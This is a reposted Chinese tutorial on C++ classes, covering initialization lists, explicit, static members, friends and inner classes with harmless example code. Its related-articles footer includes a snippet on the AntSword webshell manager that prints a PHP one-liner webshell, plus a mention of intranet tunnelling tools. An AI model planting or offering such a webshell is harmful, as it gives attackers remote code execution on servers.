[C++]类与对象(下) -- 初始化列表 -- static成员 -- 友元 -- 内部类,一篇带你深度了解。

news2024/11/23 12:46:03

目录

1、再谈构造函数

1.1 构造函数体赋值

1.2 初始化列表

1.2.1 初始化列表的意义

1.3 explicit关键字

2、static成员

2.1 问题引入

2.2 特性

3、友元

3.1 友元函数

3.2 友元类

4、内部类


1、再谈构造函数

1.1 构造函数体赋值

在创建对象时,编译器通过调用构造函数,给对象中各个成员变量一个合适的初始值。

class Date
{
public:
	Date(int year = 1, int month = 1, int day = 1)
	{
		_year = year;
		_month = month;
		_day = day;
	}

private:
	int _year;
	int _month;
	int _day;
};

我们构造函数尽量给全缺省,这样就算想要实例化一个无参的对象这一个函数就兼顾了。

虽然上述构造函数调用之后,对象中已经有了一个初始值,但是不能将其称为对对象中成员变量的初始化,构造函数体中的语句只能将其称为赋初值,而不能称作初始化。因为初始化只能初始化一次,而构造函数体内可以多次赋值。

1.2 初始化列表

初始化列表:以一个冒号开始,接着是一个以逗号分隔的数据成员列表,每个"成员变量"后面跟一个放在括号中的初始值或表达式。

我们继续以Date类来展开看:

class Date
{
public:

	// 初始化列表
	Date(int year, int month, int day)
		: _year(year)
		, _month(month)
		, _day(day)
	{}

private:
	// 成员变量声明
	int _year;
	int _month;
	int _day;
};

上面的代码就是初始化列表的实现。

1.2.1 初始化列表的意义

初始化列表是对象的成员变量定义的地方。

有些变量只能在定义的地方初始化:

a. const修饰的变量; b. 引用变量; c. 自定义类型(没有默认构造函数)。

class A
{
public:
	A(int a)
		:_a(a)
	{}

private:
	int _a;
};
class Date
{
public:
	// 初始化列表
	Date(int year, int month, int day, int& i)
		: _year(year)
		, _month(month)
		, _day(day)
		, _x(1)
		, _refi(i)
		, _a(1)
	{}

private:
	// 成员变量的声明
	int _year;
	int _month;
	int _day;

	// 定义时必须初始化
	const int _x;
	int& _refi;
	A _a;
};

成员变量给缺省值就是给初始化列表的;初始化列表如果没有显示定义内置类型编译器会给默认定义并给随机值;给缺省并初始化给值使用初始化给的值。

对于定义时必须初始化的成员变量我们看看放在函数体里赋初值的情况:

这里就会出错,因此初始化列表对于这样的情况是很适用的。

注意:

1. 每个成员变量在初始化列表中只能出现一次(初始化只能初始化一次)
2. 类中包含以下成员,必须放在初始化列表位置进行初始化:
a. 引用成员变量
b. const成员变量
c. 自定义类型成员(且该类没有默认构造函数时)
3. 尽量使用初始化列表初始化,因为不管你是否使用初始化列表,对于自定义类型成员变量,一定会先使用初始化列表初始化。
4. 成员变量在类中声明次序就是其在初始化列表中的初始化顺序,与其在初始化列表中的先后次序无关

初始化后在构造函数体里面还可以再给赋值。

1.3 explicit关键字

构造函数不仅可以构造与初始化对象,对于单个参数或者除第一个参数无默认值其余均有默认值的构造函数,还具有类型转换的作用。

class Date
{
public:
	Date(int year)
		: _year(year)
	{}

private:
	int _year;
};
int main()
{
	Date d1(2023);

	// 隐式类型转换
	Date d2 = 2023;// 2023调用构造函数生成临时对象,再用临时对象去拷贝构造d2	

	return 0;
}

2023是int类型,但是将它赋值给Date类型的d2没有报错,这就是因为2023发生了隐式类型转换。如果我们不想让发生隐士类型转换,给构造函数前加一个explicit修饰。

用explicit修饰构造函数,将会禁止构造函数的隐式转换。

引申:

在C++11中,允许多参数的隐式类型转换。

class Date
{
public:
	Date(int year, int month, int day)
		: _year(year)
		, _month(month)
		, _day(day)
	{}

private:
	int _year;
	int _month;
	int _day;
};
int main()
{
	// 隐式类型转换
	Date d = { 2023, 8, 7 };// 多参数隐式类型转换要用{}将多个参数括起来	
	const Date& d1 = { 2023, 1, 1 };// 转换时生成的临时变量具有常性,因此需要const修饰
    
	return 0;
}

多参数隐式类型转换要用 {} 将多个参数括起来。

2、static成员

2.1 问题引入

我们来统计一下A类创建了多少个,正在使用的多少个?

// 创建了多少个对象
int n = 0;
// 正在使用的有多少个对象
int m = 0;
class A
{
public:
	A() 
	{ 
		++n;
		++m;
	}
	A(const A & t) 
	{
		++n;
		++m;
	}
	~A() 
	{
		--m;
	}
};
A func(A aa)
{
	return aa;
}
int main()
{
	A a1;
	A a2;
	cout << n << " " << m << endl;

	A();// 匿名对象,在本行创建并在本行销毁
	cout << n << " " << m << endl;

	func(a1);
	cout << n << " " << m << endl;

	return 0;
}

运行结果:

我们能看到全局变量是可以实现的,但是全局变量是不安全的(全局变量在全局都可以进行修改),并且是不利于封装的,因此我们不用这样的方法。

我们改一下方法来实现:

我们将计数器放在类里面,定义为私有的,但只是这样还是不满足,我们每创建一个对象就会有一个n与m,我们的目的是对象公用,因此我们使用static修饰,这样就解决了这两个问题。

class A
{
public:
	A() 
	{ 
		++n;
		++m;
	}
	A(const A & t) 
	{
		++n;
		++m;
	}
	~A() 
	{
		--m;
	}

//private:
	// 创建了多少个对象
	static int n;
	// 正在使用的有多少个对象
	static int m;
};
int A::n = 0;
int A::m = 0;

A func(A aa)
{
	return aa;
}
int main()
{
	cout << "sizeof(A):" << sizeof(A) << endl;

	A a1;
	A a2;
	cout << A::n << " " << A::m << endl;

	A();// 匿名对象,在本行创建并在本行销毁
	cout << a1.n << " " << a2.m << endl;

	func(a1);
	cout << a1.n << " " << a2.m << endl;

	return 0;
}

这里static修饰之后n与m是静态成员变量就不是某一个对象的了,而是所有对象的,因此不是存在于对象中,而是存在于静态区的(sizeof算出来为1,是一个空类)。

其次,类里只是成员变量的声明,静态成员变量必须在类外定义,定义时就不需要再加static。
如果静态成员我们定义成私有的,需要提供Get接口来访问n,m

class A
{
public:
	A() 
	{ 
		++n;
		++m;
	}
	A(const A & t) 
	{
		++n;
		++m;
	}
	~A() 
	{
		--m;
	}

	int GetN()
	{
		return n;
	}
	int GetM()
	{
		return m;
	}

private:
	// 创建了多少个对象
	static int n;
	// 正在使用的有多少个对象
	static int m;
};
int A::n = 0;
int A::m = 0;

A func(A aa)
{
	return aa;
}
int main()
{
	A a1;
	A a2;
	cout << a1.GetN() << " " << a1.GetM() << endl;

	A();// 匿名对象,在本行创建并在本行销毁
	cout << a1.GetN() << " " << a1.GetM() << endl;

	func(a1);
	cout << a1.GetN() << " " << a1.GetM() << endl;


	return 0;
}

假如我们只创建了两个匿名对象,想要看n、m,没有对象是调用不了的,要是创建一个对象去调用,这就影响了n、m,因此我们将函数也改为静态的,这时只需要加上类域就可以访问了。

class A
{
public:
	A() 
	{ 
		++n;
		++m;
	}
	A(const A & t) 
	{
		++n;
		++m;
	}
	~A() 
	{
		--m;
	}

	// 静态成员函数的特点:没有this指针
	static int GetN()
	{
		return n;
	}
	static int GetM()
	{
		return m;
	}

private:
	// 静态成员变量属于所有A对象,属于整个类
	// 创建了多少个对象
	static int n;
	// 正在使用的有多少个对象
	static int m;
};
int A::n = 0;
int A::m = 0;

A func(A aa)
{
	return aa;
}
int main()
{
	A a1;
	A a2;
	cout << A::GetN() << " " << A::GetM() << endl;

	A();// 匿名对象,在本行创建并在本行销毁
	cout << A::GetN() << " " << A::GetM() << endl;

	func(a1);
	cout << A::GetN() << " " << A::GetM() << endl;

	return 0;
}

注意:静态成员函数里不能访问非静态成员函数,因为没有this指针。一般static修饰的成员变量于static修饰的成员函数是配套使用的。

2.2 特性

1. 静态成员所有类对象所共享,不属于某个具体的对象,存放在静态区
2. 静态成员变量必须在类外定义,定义时不添加static关键字,类中只是声明
3. 类静态成员即可用 类名::静态成员 或者 对象.静态成员 来访问
4. 静态成员函数没有隐藏的this指针,不能访问任何非静态成员
5. 静态成员也是类的成员,受public、protected、private 访问限定符的限制

3、友元

友元分为友元函数友元类。

友元提供了一种突破封装的方式,有时提供了便利。但是友元破坏了封装,所以友元不宜多用。

3.1 友元函数

问题:上一篇中我们实现了Date类的所有需要重载的运算符,如果我们需要使用cout来打印自定义类型对象,我们需要对流插入符号进行重载。

打印的格式为cout << " " << endl;

那么重载流插入符号就不可以在类里面,在类里第一个参数是隐含的this指针,会与cout抢第一个参数位置,因此我们只能定义在类外面。
放在外面我们就无法访问类成员变量了,这里就该我们的友元上场了。

友元函数可以直接访问类的私有成员,它是定义在类外部普通函数,不属于任何类,但需要在类的内部声明,声明时需要加friend关键字。

class Date
{
	// 友元
	friend ostream& operator<<(ostream& out, const Date& d);
	friend istream& operator>>(istream& in, Date& d);

public:
	Date(int year = 1, int month = 1, int day = 1)
	{
		_year = year;
		_month = month;
		_day = day;
	}

private:
	int _year;
	int _month;
	int _day;
};

ostream& operator<<(ostream& out, const Date& d)
{
	out << d._year << " " << d._month << " " << d._day;
	return out;
}
istream& operator>>(istream& in, Date& d)
{
	in >> d._year >> d._month >> d._day;
	return in;
}

int main()
{
	Date d1;
	cin >> d1;
	cout << d1;
}

运行结果:

说明:

友元函数可访问类的私有和保护成员,但不是类的成员函数
友元函数不能用const修饰(友元函数没有this指针)
友元函数可以在类定义的任何地方声明,不受类访问限定符限制
一个函数可以是多个类的友元函数
友元函数的调用与普通函数的调用原理相同

3.2 友元类

友元类的所有成员函数都可以是另一个类的友元函数,都可以访问另一个类中的非公有成员。

class Time
{
	friend class Date; // 声明日期类为时间类的友元类,则在日期类中就直接访问Time类中的私有成员变量

public:
    Time(int hour = 0, int minute = 0, int second = 0)
    : _hour(hour)
    , _minute(minute)
    , _second(second)
    {}

private:
    int _hour;
    int _minute;
    int _second;
};

class Date
{
	// 友元
	friend ostream& operator<<(ostream& out, const Date& d);
	friend istream& operator>>(istream& in, Date& d);

public:
    Date(int year = 1900, int month = 1, int day = 1)
    : _year(year)
    , _month(month)
    , _day(day)
    {}

    void SetTimeOfDate(int hour, int minute, int second)
    {
    // 直接访问时间类私有的成员变量
    _t._hour = hour;
    _t._minute = minute;
    _t._second = second;
    }

private:
    int _year;
    int _month;
    int _day;
	Time _t;

};
ostream& operator<<(ostream& out, const Date& d)
{
	out << d._year << " " << d._month << " " << d._day;
	return out;
}
istream& operator>>(istream& in, Date& d)
{
	in >> d._year >> d._month >> d._day;
	return in;
}

1、友元关系是单向的,不具有交换性。
比如上述Time类和Date类,在Time类中声明Date类为其友元类,那么可以在Date类中直接访问Time类的私有成员变量,但想在Time类中访问Date类中私有的成员变量则不行。
2、友元关系不能传递
如果C是B的友元, B是A的友元,则不能说明C时A的友元。

4、内部类

概念:如果一个类定义在另一个类的内部,这个内部类就叫做内部类。就是在一个类里面再定义一个类内部类是一个独立的类,它不属于外部类,更不能通过外部类的对象去访问内部类的成员。外部类对内部类没有任何优越的访问权限。

class A
{
public:
	class B
	{

	private:
		int _b;
	};
	int _a;
};
int main()
{
	cout << sizeof(A) << endl;
}

这里打印出来是4,因此我们可以知道,sizeof(外部类) = 外部类的大小,虽然里面嵌套了内部类,但内部类是不算在外部类大小里面的。

其次,内部类默认是外部类的友元类。

class A
{
public:
	class B
	{
	public:
		void func()
		{
			A a;
			a._a = 1;
			cout << a._a << endl;
		}

	private:
		int _b;
	};

private:
	int _a;
};
int main()
{
	A::B b;
	b.func();

	return 0;
}

我们在B类中定义了一个函数,函数里面访问A类的成员变量_a,并且给其赋值了,来看是否可以正常运行。

我们这里可以看到,在B类中可以访问到A类的成员变量,并且为其赋值了。这就可以看出来B类是A类的友元。

但是,A类不是B类的友元,友元是单向的。

特性:

1. 内部类可以定义在外部类的public、protected、private都是可以的。
2. 注意内部类可以直接访问外部类中的static成员,不需要外部类的对象/类名。
3. sizeof(外部类)=外部类,和内部类没有任何关系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/856562.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

改进的麻雀算法优化最大相关峭度解卷积(SCSSA-MCKD),实现早期微弱故障诊断,MATLAB代码实现

01 引言 由于一些设备的早期故障产生的冲击十分微弱&#xff0c;易被系统噪声干扰&#xff0c;如何有效地对设备的原始故障信号进行降噪并增强信号中微弱冲击成分&#xff0c;是进行该类部件早期故障诊断的关键。 最大相关峭度解卷积&#xff08;MCKD&#xff09;通过解卷积运算…

干翻Dubbo系列第九篇:Dubbo体系中序列化详解

文章目录 文章说明 一&#xff1a;序列化概念 1&#xff1a;概念 2&#xff1a;Dubbo中序列化方式 二&#xff1a;Kyro序列化方案 1&#xff1a;引入依赖 2&#xff1a;XML的配置方式 3&#xff1a;Boot的方式 4&#xff1a;Consumer端调用 三&#xff1a;FST序列化方…

JVM 调优实例

点击下方关注我&#xff0c;然后右上角点击...“设为星标”&#xff0c;就能第一时间收到更新推送啦~~~ JVM提供了多种垃圾回收器&#xff0c;可以根据应用程序的需求选择最适合的垃圾回收器。例如&#xff0c;如果应用程序需要更快的响应时间&#xff0c;可以选择并行垃圾回收…

GIS在地质灾害危险性评估与灾后重建中的应用教程

详情点击链接&#xff1a;GIS在地质灾害危险性评估与灾后重建中的实践技术应用 前言 地质灾害是指全球地壳自然地质演化过程中&#xff0c;由于地球内动力、外动力或者人为地质动力作用下导致的自然地质和人类的自然灾害突发事件。由于降水、地震等自然作用下&#xff0c;地质…

【JavaSE】接口的语法知识和使用方法总结

目录 1. 接口的概念 2. 语法规则 3. 接口特性 4. 接口使用 5. 实现多个接口 6. 接口间的继承 1. 接口的概念 在现实生活中&#xff0c;接口的例子比比皆是&#xff0c;比如&#xff1a;笔记本上的USB口&#xff0c;电源插座等。 电脑的USB口上&#xff0c;可以插&#x…

Unity游戏源码分享-仿开心消消乐Match3Jewel

Unity游戏源码分享-仿开心消消乐Match3Jewel 工程地址&#xff1a; https://download.csdn.net/download/Highning0007/88198762

蚁剑antSword-maste下载-安装-使用-一句话木马

下载 https://github.com/AntSwordProject/antSword 一句话木马 hack.php脚本 <?php eval($_POST[attack]);?> 安装 1、安装完成后启动 2、初始化&#xff0c;选择有源码的目录 3、连接

为什么要使用融合CDN,单CDN与多CDN之间的差异对比

CDN是现代互联网服务的重要组成部分&#xff0c;它CDN可帮助内容提供者高速交付内容&#xff0c;不同的服务器部署在全球不同的数据中心&#xff0c;并在它们之间共享相同的网络路径。随着企业意识到CDN的重要性&#xff0c;越来越多的企业正在使用CDN作为内容分发工具。互联网…

RocketMQ发送消息失败:error CODE: 14 DESC: service not available now, maybe disk full

在执行业务时&#xff0c;发现MQ控制台没有查询到消息&#xff0c;在日志中发现消息发送失败&#xff0c;报错error CODE: 14 DESC: service not available now, maybe disk full 分析报错应该是磁盘空间不足&#xff0c;导致broker不能进行正常的消息存储刷盘&#xff0c;去查…

Java中数组分析

Java中数组分析 先进行专栏介绍 数组声明和初始化一个数组方法一&#xff1a;声明数组并分配空间&#xff1a;可以使用以下语法声明一个数组&#xff0c;并指定数组的长度。举例 方法二&#xff1a;声明数组并初始化元素&#xff1a;可以在声明数组时&#xff0c;同时为数组的元…

HOperatorSet.OpenFramegrabber “GigEVision“

HOperatorSet.OpenFramegrabber "GigEVision"访问失败 直接跳出 但其他算子可以访问 重装halcon x86

内网隧道—HTTP\DNS\ICMP

本文仅限于安全研究和学习&#xff0c;用户承担因使用此工具而导致的所有法律和相关责任&#xff01; 作者不承担任何法律和相关责任&#xff01; HTTP隧道 Neo-reGeorg Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目&#xff0c;目的是&#xff1a; 提高可用性&#xff0…

量化交易可视化(7)-散点图

散点图的含义 散点图是一种用于观察两个变量之间关系的图表类型。它通过在坐标轴上绘制数据点来展示变量之间的关联程度。每个数据点代表一个观测值&#xff0c;其中横轴表示一个变量的值&#xff0c;纵轴表示另一个变量的值。 散点图的绘制方法 matplotlib.pyplot.scatter(…

Java:企业级java后端开发,需要掌握哪些内容

一、什么是后端开发 后端开发是指开发基于服务器端的软件应用程序&#xff0c;也称为系统的后台或服务器端编程。 后端程序员负责处理网站或应用程序后台的逻辑和功能&#xff0c;包括数据库管理、服务器端脚本编写、API设计、数据安全性、网站性能优化等。 后端开发技术通常包…

position 属性有哪些值,分别表示什么意思?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ static&#xff08;静态定位&#xff09;⭐ relative&#xff08;相对定位&#xff09;⭐ absolute&#xff08;绝对定位&#xff09;⭐ fixed&#xff08;固定定位&#xff09;⭐ sticky&#xff08;粘性定位&#xff09;⭐ initial⭐ i…

机器视觉、图像处理和计算机视觉:概念和区别

机器视觉、图像处理和计算机视觉是相关但有区别的概念。 机器视觉主要应用于工业领域&#xff0c;涉及图像感知、图像处理、控制理论和软硬件的结合&#xff0c;旨在实现高效的运动控制或实时操作。 图像处理是指利用计算机对图像进行复原、校正、增强、统计分析、分类和识别…

【在一个升序数组中插入一个数仍升序输出】

在一个升序数组中插入一个数仍升序输出 题目举例&#xff1a; 有一个升序数组nums&#xff0c;给一个数字data&#xff0c;将data插入数组nums中仍旧保证nums升序&#xff0c;返回数组中有效元素个数。 比如&#xff1a;nums[100] {1, 2, 3, 5, 6, 7, 8, 9} size 8 data 4 …

【雕爷学编程】Arduino动手做(201)---DFRobot 行空板05

37款传感器与模块的提法&#xff0c;在网络上广泛流传&#xff0c;其实Arduino能够兼容的传感器模块肯定是不止37种的。鉴于本人手头积累了一些传感器和执行器模块&#xff0c;依照实践出真知&#xff08;一定要动手做&#xff09;的理念&#xff0c;以学习和交流为目的&#x…

【雕爷学编程】Arduino动手做(199)---8x32位WS2812B全彩屏模块7

37款传感器与模块的提法&#xff0c;在网络上广泛流传&#xff0c;其实Arduino能够兼容的传感器模块肯定是不止37种的。鉴于本人手头积累了一些传感器和执行器模块&#xff0c;依照实践出真知&#xff08;一定要动手做&#xff09;的理念&#xff0c;以学习和交流为目的&#x…

Shopify平台Fulfillment业务模块升级

上图是销售订单、发货单与配送之间的关系图&#xff0c;销售订单可以创建多个发货单&#xff0c;多个发货单(不同销售订单)可以合并在一个配送订单进行发货 接口请求错误记录: 1. The api_client does not have the required permission(s). 2. Required parameter missing or…